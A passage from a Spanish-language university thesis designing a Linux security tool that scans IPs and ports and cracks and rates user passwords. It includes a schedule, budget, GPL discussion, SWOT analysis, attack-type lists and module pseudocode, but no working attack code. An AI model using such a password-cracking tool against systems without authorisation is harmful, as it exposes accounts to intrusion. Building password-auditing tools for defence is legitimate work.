Primer Modelo 10 días 27/12/2006 09/01/2007

49

Diseño y Construcción de la

Prueba de Concepto 10 días 02/01/2007 15/01/2007

50 Construcción del Modelo Final 10 días 10/01/2007 23/01/2007

51 PRUEBAS 32 días 24/01/2007 08/03/2007

52

Producción de planos para el

ensayo de la aceptación 6 días 07/02/2007 14/02/2007

Page 397: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

41

53 Análisis de Riesgo 2 días 15/02/2007 16/02/2007

54

Primera Pruebas del sistema con

datos reales 2 días 19/02/2007 20/02/2007

55

Formulación de

Recomendaciones 2 días 20/02/2007 21/02/2007

56

Producción de Planos para el

ensayo del sistema 2 días 21/02/2007 22/02/2007

57

Evaluación de la primera

construcción 2 días 23/02/2007 26/02/2007

58

Segunda Pruebas del sistema

con datos reales 3 días 26/02/2007 28/02/2007

59

Formulación de las

Recomendaciones 3 días 26/02/2007 28/02/2007

60

Producción de planos para el

ensayo de subsistemas 3 días 28/02/2007 02/03/2007

61

Evaluación de la segunda

construcción 3 días 02/03/2007 06/03/2007

62

Pruebas del sistema con datos

reales 3 días 05/03/2007 07/03/2007

63

Realización de ensayos:

unidad, subsistemas, sistema 1 día 07/03/2007 07/03/2007

64 Aprobación 3 días 07/03/2007 09/03/2007

65 INSTALACIÓN DEL SISTEMA 3 días 07/03/2007 09/03/2007

66

ETAPA DE ASESORÍA DEL

SISTEMA AL USUARIO FINAL 3 días 09/03/2007 13/03/2007

67

TERMINACIÓN DEL

PROYECTO 3 días 13/03/2007 15/03/2007

Tabla -2- Cronograma

Page 398: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

42

Análisis Económico

Para la realización del sistema se ha incurrido en los siguientes valores.

Equipo de Desarrollo

Laptop $1.800

PC $2.500

Impresora $ 150

Gastos Generales

Luz $160

Transporte $500

Servicio Internet $150

Alquiler Local $300

Equipo de Oficina $80

Varios $100

TOTAL $5.740

Tabla -3-

Análisis Económico

Page 399: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

43

Análisis Legal

Licencia GPL

Los programas de ordenador suelen distribuirse con licencias propietarias o

cerradas. Esto quiere decir que uno no es propietario del programa, estas

condicionado bajo las reglas que imponga la licencia de dicho programa,

para su uso y derecho a expandirte, y no se le puede modificar o distribuir.

Esta licencia GPL desarrollada por la FSF (Free Software Foundation) es

diferenta. Me permite instalar y usar un programa en cuantos ordenadores yo

desee, sin límites. También se puede modificar el programa y se lo puede

distribuir tal cual o después de haberlo modificado.

La única condición para la licencia es, que junto con el programa binario, se

entregue el código fuente, para que pueda ser leído por un programador, a

diferencia de los programas propietarios o cerrados, que solo se entrega listo

para ejecutarse.

Un programa tipo GPL es libre, se los puede conseguir de muchas formas, y

además NO SON PROGRAMAS PIRATAS como se suele decir.

Una desventaja es que estos programas no tienen garantía, igual que la

mayoría de los programas propietarios, pero ofrecen mas derechos a los

Page 400: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

44

usuarios, y con el código fuente, se pueden hacer las depuraciones

necesarias para lograr el funcionamiento correcto de la aplicación. También

se puede ofrecer la garantía del programa desarrollado si la empresa lo

desea.

Usar la licencia GPL implica una serie de normas a las que uno se

compromete cuando opta por dicha licencia, las cuales son, en resumen:

Si uno modifica un código protegido por GPL y lo quiere comercializar, no

puede hacerlo, porque la licencia estipula que el código fuente modificado

también debe facilitarse de forma gratuita. Hay algunos que optan por cobrar

un precio muy bajo.

Si se opta por trabajar con licencia, y tienes ya varias versiones de alguna

aplicación, y en algún momento quieres renunciar a la licencia, no puedes

hacerlo. Si ya desarrollaste bajo GPL no puedes ya cambiarlo.

La distribución obliga al desarrollador a facilitar el ejecutable y el código

fuente, sin objeción.

Page 401: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

45

No debería haber plagio, es decir, a partir de un programa GPL, yo desarrollo

en base a ese código, uno propio y con calidad de propietario. Lo ideal es

que también se tomen ciertas bases para no programar desde cero.

Todo el código de SAP es GPL, sin excepciones.

El planteamiento del desarrollo es abierto: escritura directa al CVS público,

uso de listas públicas, acceso al repositorio público y a herramientas de

trabajo en comunidad.

La fortaleza está en hacer que la comunidad de desarrollo crezca.

No hay ninguna parte LGPL o similares (no se permite el desarrollo de

software propietario).

Actualmente no es necesario transferir el copyright para contribuir al

proyecto.

Análisis FODA

FORTALEZAS

• Novedoso, de fácil introducción en el mercado, por sus características

al ser lanzado al mercado.

• Software libre, con versiones tanto freeware y bajo la licencia GPL.

Page 402: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

46

• Fácil uso y entendimiento, muy intuitivo, para uso de personas con

mediana a gran experiencia.

• Nos da un análisis de contraseñas, permitiendo su evaluación y

sugiriendo recomendaciones de mejoras.

• Nos provee información para hacer el sistema seguro, dándonos

consejos y guías de seguridad.

OPORTUNIDADES

• El software no tiene costo, en sus versiones iniciales saldrá bajo la

licencia GPL, bajo plataforma Linux.

• Por su funcionalidad el sistema podrá utilizarse como auditoria de

seguridad, además de un analizador inteligente de contraseñas.

• Elimine el uso de personal externo con conocimiento de ataque del

sistema. El sistema da un diagnóstico confiable de contraseñas.

DEBILIDADES

• El sistema funciona bajo plataforma Linux, en sus primeras versiones.

• Para manejar el sistema se requiere ciertos conocimientos de redes, y

una capacitación inicial, no esta dirigido a usuarios novatos.

• Si el software cae en manos equivocadas puede causar daños a la

empresa.

Page 403: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

47

AMENAZAS

• Por su característica el software libre puede ser usado por otras

personas para su uso comercial.

Convirtiendo las debilidades en fortalezas:

Se estudiará a futuro, lanzar versiones que puedan trabajar de manera

óptima bajo el sistema operativo Windows, que en la actualidad es el mas

usado, ya que el sistema se desarrollará en un lenguaje de cuarta

generación, como es java, el cual es multiplataforma, es decir, el programa

java se adaptará muy fácilmente a un entorno Windows, con los respectivos

cambios necesarios,

Al programa en un futuro se le podría adaptar un módulo de ayuda, con

páginas web interactivas que le den a un usuario novato o con poca

experiencia en el manejo de redes, una poderosa arma de asesoramiento y

consulta, con palabras fáciles de entender y gráficos explicativos.

En cuanto a que si el software cae en manos peligrosas, se deberá tener

especial cuidado en esta parte, ya que a pesar de que solo los usuarios

Page 404: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

48

administradores poseen las claves para poder usar la herramienta, pero las

mismas deberán ser cambiadas periódicamente para evitar inconvenientes.

Convirtiendo las amenazas en oportunidades:

Se deberá hacer hincapié en que el programa saldrá al mercado en sus

primeras versiones bajo la licencia GPL, pero con una funcionalidad un poco

limitada, por lo que, si alguien pretende usarlo para otros fines, deberá

también poner algo de esfuerzo para realizar un programa funcional.

Page 405: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO 2

ANÁLISIS

2.1.- Levantamiento de la información

2.1.1.- Por que realizar este proyecto

Este proyecto fue diseñado

pensando en realizar un análisis

exhaustivo, confiable y detallado de

las contraseñas de las maquinas

sobre las cuales vaya a correr el

programa, centrándonos

especialmente en computadores que

Page 406: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

trabajen con el sistema operativo Linux, ya que se esta volviendo muy

popular su uso principalmente en servidores, por su robustez,

seguridad, y sobre todo, bajos costos de instalación y mantenimiento.

Por esto, un tópico importante en toda empresa es el uso y las

políticas de contraseñas, en la mayoría de los casos, según algunos

estudios, solo entre un 20 y en el mejor de los casos el 40% de

contraseñas son seguras, es decir, cumplen con políticas estándar de

seguridad, que las mencionamos a continuación:

Un password considerado seguro debería contener mínimo:

• 8 caracteres.

• Un número o varios

• Al menos un carácter especial.

• Al menos una mayúscula.

• No debe hacer referencia a palabras comunes, de las que uno

encuentra en un diccionario.

Concienciar a los usuarios sobre este aspecto del uso de claves

robustas se vuelve todo un reto en las empresas, ya que a la mayoría

le costaría mucho recordar un password de este tipo:

Page 407: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

51

J0@$/cl@rk23$i$tem

Por lo que, la mayoría de las veces optarán por usar passwords muy

comunes como sus nombres, palabras como el nombre de la mascota,

el del esposo (a), su fecha de nacimiento, etc., es decir palabras muy

fáciles de descifrar con ataques por ejemplo de diccionario o sniffers,

lo cual es un grave riesgo especialmente si se logra hackear la clave

de un servidor critico para la empresa.

En muchas empresas las claves son proporcionadas por los

administradores o jefes del departamento de sistemas, pero los

usuarios cometen errores como el dejar los passwords pegados en un

lugar visible, o usan la misma clave para acceder a varios servicios, y

muchas de las veces, las empresas no cuentan con políticas de

seguridad robustas, y menos en cuanto a la creación de cuentas y

contraseñas de usuarios.

Entonces, se vuelve imperativo para un administrador, poder llevar el

control de las claves de autenticación que están usando los usuarios

en el sistemas, ya sea para maquinas cliente o servidores, por lo que

esta herramienta podrá proporcionar una ayuda significativa para

Page 408: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

52

poder llevar una política adecuada de control y uso de claves en mi

red local.

En un apartado final en este documento se mencionarán

configuraciones y políticas de seguridad, para poder mantener un nivel

bajo de amenazas en las empresas.

2.1.2.- Quienes son los atacantes

Los ataques pueden ser internos y externos, tanto de hardware como

de software.

Los ataques de tipo interno, sean de hardware o software, se dan por

lo general por empleados de la misma organización, insatisfechos o

molestos por algún motivo, o ex trabajadores de las mismas, los

cuales pretenden de alguna forma hacer un daño a su ex empresa.

Los ataques externos se dan por lo general, por las personas

conocidas como los hackers o crackers informáticos.

Los ataques de software se clasifican de la siguiente manera:

• Escaneo de puertos

• Sniffer de red

Page 409: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

53

• Spoofing de IP

• Hijacking (secuestro de sesión)

• Ataques (reunión)

• Hombre en el medio

• DOS (Denied Of Service)

• Código malicioso

• Ataques de configuraciones por defecto

• Exploits de software

• Abuso (privilegio)

• Ataque de backdoor

• Ataque de apoderamiento (take over)

• Ataque de auditoria

• Root Kits

Los ataques de hardware se los realiza sobre los diferentes

periféricos, y lo que buscan es principalmente, dejar inhabilitados los

diferentes elementos físicos del sistema informático. Con esto se

busca:

• Robar información, si se extrae el disco duro.

Page 410: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

54

• Causar interrupción del funcionamiento normal del sistema, ya sea

interrumpiendo el fluido eléctrico, o cortando la ventilación de la

maquina servidor, o por cualquier otro medio físico.

• Un modo muy común de obtener información también es el de la

ingeniería social, que consiste en usar diferentes recursos, apelando a

la buena voluntad y a veces ingenuidad de la gente, para obtener

información importante.

2.1.3.- Categorías de los atacantes

Entre las categorías de los atacantes tenemos:

Jugadores Este tipo de atacante lo que busca es divertirse al hacer

el ataque, demostrar a los demás de lo que es capaz de hacer, por lo

general no son peligrosos.

Espías Muchas de las veces son trabajadores o ex empleados de

una empresa, los cuales buscan filtrar información a la competencia,

ya sea por disconformidad con sus patrones o por diversos motivos.

Vándalos Los más peligrosos, buscan acceder al sistema para

causar el mayor daño posible.

Page 411: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

55

2.2.- Análisis de requerimientos

Para la realización de este proyecto necesitamos conocer e investigar:

Obtener toda la información acerca de la composición, el manejo de los

protocolos TCP y UDP, ICMP, para conocer como fluyen los paquetes de

datos a través de estos protocolos, muy usados en casi la mayoría de las

empresas de este país.

Investigar los diferentes ataques que se pueden realizar a un servidor,

especialmente las diferentes herramientas para ataque de software

disponibles en la Web.

Como los datos viajen a través de los diferentes puertos.

Conocer un listado de puertos comúnmente usados, los cuales pueden ser

explotados para atacar a los servidores.

Como establecer medios de comunicación entre las maquinas, modos de

hacer un telnet, ftp, radmin, especialmente bajo plataforma Linux.

Realizar todos los registros que el programa genere, los respectivos logs de

sucesos.

Desarrollar e investigar toda la codificación en lenguaje java y las librerías y

módulos necesarios para la realización del proyecto.

Page 412: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

56

Conseguir herramientas de desarrollo IDE de java, y de diseño de bases de

datos.

2.3.- Diccionario de datos.

Para el desarrollo de nuestra base de datos vamos a utilizar el Modelo

conocido como entidad relación (DER), y nuestra base de datos esta

compuesta por las siguientes tablas.

1. ip

2. puerto

3. usuario

4. password

5. ip_puerto

6. reportes

7. diccionario

Para mas detalles del contenido de las tablas con sus respectivos campos,

reviese el manual técnico del proyecto, en el cual se describen a detalle la

Base.

Page 413: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

57

Grafico -2- Diagrama de especificación del Sistema (DES)

Page 414: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

58

Grafico -3a- Diagrama Flujo de Información (DFI)

Page 415: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

59

Grafico -3b- Diagrama Flujo de Información (DFI)

Page 416: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

60

Grafico -4a- Diagrama de Flujo de Datos (DFD)

Page 417: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

61

Grafico -4b- Diagrama de Flujo de Datos (DFD)

Page 418: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

62

Grafico -4c- Diagrama de Flujo de Datos (DFD)

Page 419: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

63

Grafico -4d- Diagrama de Flujo de Datos (DFD)

Page 420: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

64

Grafico -4e- Diagrama de Flujo de Datos (DFD)

Page 421: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

65

Grafico -4f- Diagrama de Flujo de Datos (DFD)

Page 422: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

66

Grafico -4g- Diagrama de Flujo de Datos (DFD)

Page 423: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

67

Grafico -4h- Diagrama de Flujo de Datos (DFD)

Page 424: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

68

Grafico -4i- Diagrama de Flujo de Datos (DFD)

Page 425: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

69

Grafico -4j- Diagrama de Flujo de Datos (DFD)

Page 426: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

70

Grafico -4k- Diagrama de Flujo de Datos (DFD)

Page 427: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

71

Grafico -4l- Diagrama de Flujo de Datos (DFD)

Page 428: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

72

Grafico -4m- Diagrama de Flujo de Datos (DFD)

Page 429: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

73

Diagrama de Entidad de Relación

Grafico -5- Diagrama de Entidad Relación (DER)

Page 430: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

74

Diagrama de Transición de Datos

Scan Ip Proceso Preparar módulo Scan Ip Presenta pantalla Scan Ip Verificar orden de escaneo Ejecutar orden escaneo Mostrar resultado Scan Ip Verificar resultado Scan Ip Generar log reporte Guardar en la base de datos Pantalla principal Scan IP

Page 431: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

75

Scan Puerto Verificar Ip válida Preparar módulo Scan puerto Presentar pantalla Scan puerto Verificar orden escaneo Ejecutar orden escaneo Pantalla de resultado Habilitar opciones de menú Verificar estados de módulo y conexión de red Generar log reporte Guardar en la base de datos Pantalla principal Scan Puertos

Page 432: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

76

Hacking de Password Preparar módulo hacking password Presentar pantalla proceso de captura Mostrar resultados del ataque Generar log Guardar en la base de datos Pantalla principal hacking password Análisis de Password Preparar módulo análisis de password Evaluar tipo de password Presentar pantalla de resultado Guardar datos en base datos Pantalla principal análisis de password

Page 433: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

77

Reportes Preparar Modulo de reporte Escoger tipo reporte Generar reporte por fecha Generar reporte nivel seguridad Generar reporte total Imprimir reporte Pantalla principal Reportes

Page 434: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

78

Estadística Habilitar opciones de menú Preparar Módulo estadístico Confirmación de generación de estadística. Escoger tipos de estadística Generar página datos tabulados Generar página gráficos Reporte Presentar pantalla Aborto proceso Resultado final Pantalla principal Estadísticas

Page 435: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

79

Diagrama de Especificación de Proceso

PROCESAR

CONTRASEÑA

Se consulta a la base de datos sobre el usuario y el passwd

Si user and passwd== “valor_obtenido_consuta_base”

Conceder_acceso

Si_no

Verificar-#_intentos

Mostrar mensaje de error

Fin si

Verificar numero de

intentos

Si intentos > 3 entonces

Mostra mensajes no se pudo conectar al sistema

Denegacion de acceso

Salir del sistema

Si_no

llamar funcion procesar_contraseña

Fin_Si

Verificar numero

de intentos

Si intentos > 3 entonces

Mostra mensajes no se pudo conectar al sistema

Denegacion de acceso

Salir del sistema

Si_no

llamar funcion procesar_contraseña

Fin_Si

Especificaciones de procesos Scan IP

Grafico -6a- Diagrama de Especificación de Procesos

Page 436: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

80

Presentar pantalla

menu inicial

Si contraseña es valida

generar_patalla de menu principal

deshabilitar las opciones de menu que no se pueden usar

inicialmente

Si_no

mostrar mensaje no se pudo accesar al sistema

salir del sistema

Fin_si

Verificar opcion del

menu seleccionada

Si escogio opcion menu

verificar que sea una opcion de menu activa

mostrar la pantalla del modulo correspondiente

Si_no

mostrar mensaje “ esta opcion de menu no esta habilitada”

Fin_Si

Verificar tipo de opcion

Se evalua cual fue la opcion seleccionada para llamar a la interfaz

respectiva

Select case opcion_menu

1: scan_ip

2: scan_puertos

3: hacking al sistema

4: captura y procesamiento de passwd

5: reportes

6: estadisticas

7: ayuda

Verificar que opciones estan habilitadas para un caso en particular

Al iniciar el programa solo están activas scan_ip y ayuda, a medida

que se avanza en el programa se habilitan las demas opciones

Grafico -6b- Diagrama de Especificación de Procesos

Page 437: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

81

Verificar orden scaneo

ip

Si pulsa menu scan_ip

mostrar mensaje pidiendo confirmacion

si confirmación == true

preparar modulo escaneo ip

ejecutar modulo scaneo_ip

mostrar posibles mensajes de error

si_no

mostrar mensaje proceso abortado

fin_si

Fin_si

Verificar resultados

obtenidos

Evaluar si al menos hay una o mas is activas que haya podido

registrar el sistema

Si ip_Activa == true

habilitar opciones de menu correspondientes a los

siguientes modulos por ejecutar

generar pantalla de reportes de resultados

establecer conexión con la base de datos y esperar a la

orden de guardar datos

Si_no

mostrar mensaje no hay ips activas en el sistema

llamar modulo verificar estados del modulo y la conexión

de red

mostra pantalla con posibles errores

deshabilitar opciones de menu que no se puedan usar

retornar a pantalla inicial

Fin_Si

Grafico -6c- Diagrama de Especificación de Procesos

Page 438: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

82

Verificar estados de

modulo y conexión de

red

Analizar si el modulo que tiene el control en un determinado

momento se encuentra activo y si no ha caido en error

Si modulo_esta_activo == false

mostrar por pantalla “ el modulo esta inactivo”

verificar posibles estados de error

salir del modulo

retornar a la pantalla inicial

Si_no

si conexión_red == false

verificar conexiones de red

monitorear si se esta en red y eveluar porque

se perdio la conexión con la maquina

si_no

mostrar mensaje

“ error de tipo desconocido”

salir del modulo

retornar a la pantalla del menu principal

fin_si

Fn_si

Habilitar opciones de

menu

Si opcion_menu == inactivo and modulo_opcion_menu == activo

opcion_menu = activo

Si_no

mostrar mensaje por pantalla via DOS “ menu esta ya

activo”

Fin_si

Grafico -6d- Diagrama de Especificación de Procesos

Page 439: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

83

Deshabilitar opciones

menu

Si opcion_menu == activo and modulo_opcion_menu == inactivo

opcion_menu = inactivo

Si_no

mostrar mensaje por DOS

“ menu inactivo”

Fin-si

Generar logs reportes

ip

Si resultados_ips_obtenidas == true

llamar modulo reportes

si escogio opcion_guardar

establecer conexión con la Base de datos

guardar los datos generados en pantalla

Si_no

mostrar pantalla con mensaje

“ no hay registros que guardar”

Fin_si

Preparar modulo scan

ip

Me permite poner el modulo en un estado válido para poder hacer

uso del mismo

Llamar funcion verificar estado_modulo y conexión de red

Recoger el valor devuelto

si valor_devuelto == true

llamar función ejecutar_escaneo_ ip

si_no

mostrar mensaje via DOS

modulo no preparado

evaluar posibles estados de error

salir a la pantalla inicial

fin_si

Grafico -6e- Diagrama de Especificación de Procesos

Page 440: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

84

Ejecutar orden

escaneo IP

Generar pantalla ingreso rangos inicial y final

Validar que se ingresaron los campos, y que sean numeros válidos

de direcciones ip

Si direccion_ip_correcta

entrega el control al modulo scan_ip

preparar la orden de escano

ejecutar la orden de escaneo

preparar la pantalla de reportes

Si_no

mostrar mensaje error de ingreso

volver a pantalla de ingreso de rangos inicial

y final

Fin_si

Verificar ip valida

Verificar que la ip escaneada este activa y el modulo y la red

funcionando

Si ip_valida ==true

preparar modulo scan_puertos

Si_no

mostrar mensaje via DOS y por pantalla

“ no se puede escanear puertos en esa dirección ip”

llamar funcion

verificar_estados_modulo_y_conexiones_de_red

examinar posibles errores

volver a pantalla de scan ip

Fin_si

Especificaciones de procesos Scan puertos

Grafico -6f- Diagrama de Especificación de Procesos

Page 441: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

85

Preparar modulo scan

puertos

Llamar funcion verificar_estados_modulo_y_conexiones_de_red

Recoger el valor devuelto por la funcion

Si valor == true

preparar los parámetros para poder escanear el puerto

seleccionado

preparar la función ejecuta_scan_puertos

Si_no

mandar un mensaje via DOS

“ modulo no preparado”

Fin_si

Verificar orden

escaneo puerto

Si pulsa menu_scan_puertos

si moduo_scan_puertos esta activo

preparar a la función scan_puertos

si_no

mostrar mensaje por pantalla

“No se pudo realizar la operación”

verificar posibles estados de error

fin_si

Fin_ si

Ejecutar orden

escaneo puertos

Según la ip seleccionada que este activa se escanean los puertos

Llamar a la funcion scaneo_puertos

Capturar los puertos abiertos y cerrados

Preparar el reporte en pantalla de los datos obtenidos

Formato puerto : servicio

Grafico -6g- Diagrama de Especificación de Procesos

Page 442: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

86

Generar logs de

reporte puertos

Llamar funcion resultados_obtenidos_puertos

Si resultados_obtenidos_puertos == true ( al menos se obtuvo uno )

llamar al modulo de reportes

capturar los datos obtenidos de pantalla

generar el log de reporte

si opcion_menu == guardar

establecer conexión con la base de datos

guardar los datos obtenidos

fin_si

Si_no

mostrar mensaje por pantalla y DOS

“ NO hay datos que guardar”

verificar posibles errores del sistema

volver a la pantalla scan puertos

Fin_si

Mostrar pantalla de

resultados

Si scaneo_puertos esta activo y devolvio al menos un valor de

